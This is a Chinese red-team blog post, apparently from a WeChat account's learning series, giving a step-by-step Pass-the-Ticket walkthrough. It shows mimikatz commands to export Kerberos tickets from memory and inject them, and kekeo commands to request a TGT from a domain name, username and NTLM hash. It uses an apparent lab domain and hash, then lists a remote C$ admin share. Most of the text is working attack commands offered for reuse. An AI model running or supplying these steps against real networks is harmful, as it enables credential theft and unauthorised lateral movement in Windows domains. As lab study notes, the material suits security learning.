票据传递（Pass The Ticket）攻击与利用

渗透攻击红队

一个专注于红队攻击的公众号

大家好，这里是 渗透攻击红队 的第 26 篇文章，本公众号会记录一些我学习红队攻击的复现笔记（由浅到深），不出意外每天一更

票据传递工具简介

使用mimikatz（管理员权限）将内存的票据导出：（运行以下命令会在当前目录生成多个服务的票据文件） 

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

从中选择一个目标系统自己的，移动到黑客机器上。

将票据文件注入内存：

mimikatz "kerberos::ptt "[0;4ee98c][email protected]"

将最高权限的票据文件注入内存后，将列出远程计算机系统的文件目录：

dir \192.168.3.25C$

遇到密码错误的问题那么我们把IP换成目标主机名：

dir \mary-pcc$

票据传递比哈希传递更方便，更实用，成功率更高。

如果要清除内存中的票据使用mimikatz运行下面的命令：

kerberos::purge

kekeo 下载地址：https://github.com/gentilkiwi/kekeo/releases/

kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据，再将票据导入，从而直接连接远程计算机。

域名：god.org用户名：administratorNTLM Hash：ccef208c6485269c20db2cad21734fe7

也就是在目标机器上运行下面的命令，只需要普通权限就可以！

kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"

这个时候会在当前路径下生成一个票据文件：[email protected][email protected]

之后把这个票据文件移动到黑客的机器上，在黑客机器上使用 kekeo 输入命令将移动的票据导入内存：

kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

这个时候就可以使用 dir 命令，列出远程主机中的文件：

dir \OWA2010CN-Godc$

PS：使用 dir 命令时，务必使用主机名，如果使用 IP 地址，就有可能导致错误。

参考文章：

https://blog.csdn.net/shuteer_xu/article/details/107031951

https://www.cnblogs.com/Xy--1/p/12231747.html

渗透攻击红队

一个专注于渗透红队攻击的公众号

点分享

点点赞

点在看